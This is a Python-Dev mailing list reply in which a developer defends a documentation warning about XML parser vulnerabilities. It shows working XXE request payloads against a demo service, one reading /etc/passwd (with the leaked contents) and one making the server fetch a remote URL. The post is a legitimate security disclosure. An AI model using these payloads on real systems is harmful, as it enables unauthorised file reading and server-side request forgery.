Am 26.03.2013 19:41, schrieb Antoine Pitrou: > On Tue, 26 Mar 2013 17:53:39 +0100 (CET) > christian.heimes <python-check...@python.org> wrote: >> + >> +The XML processing modules are not secure against maliciously constructed >> data. >> +An attacker can abuse vulnerabilities for e.g. denial of service attacks, to >> +access local files, to generate network connections to other machines, or >> +to or circumvent firewalls. > > Really? Where does the "access local files, generate network > connections, circumvent firewalls" allegation come from?
Really! https://bitbucket.org/PSF/defusedxml/src/e76248a8c2b3102c565bd3451656130cb29f04f8/other/python_external.py?at=default REQUEST: -------- <weather>Aachen</weather> RESPONSE: --------- <weather>The weather in Aachen is terrible.</weather REQUEST: -------- <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE weather [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <weather>&passwd;</weather> RESPONSE: --------- <error>Unknown city root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bi</error> REQUEST: -------- <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE weather [ <!ENTITY url SYSTEM "http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem";> ]> <weather>&url;</weather> RESPONSE: --------- <error>Unknown city -----BEGIN DH PARAMETERS----- MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC -----END DH PARAMETERS----- These are the 512 bit DH parameters from "Assigned Number for SKIP Protocols" (http://www.skip-vpn.org/spec/numbers.html). See there for how they were generated. Note that g is not a generator, but this is not a problem since p is a safe prime. </error> Q.E.D. Christian _______________________________________________ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
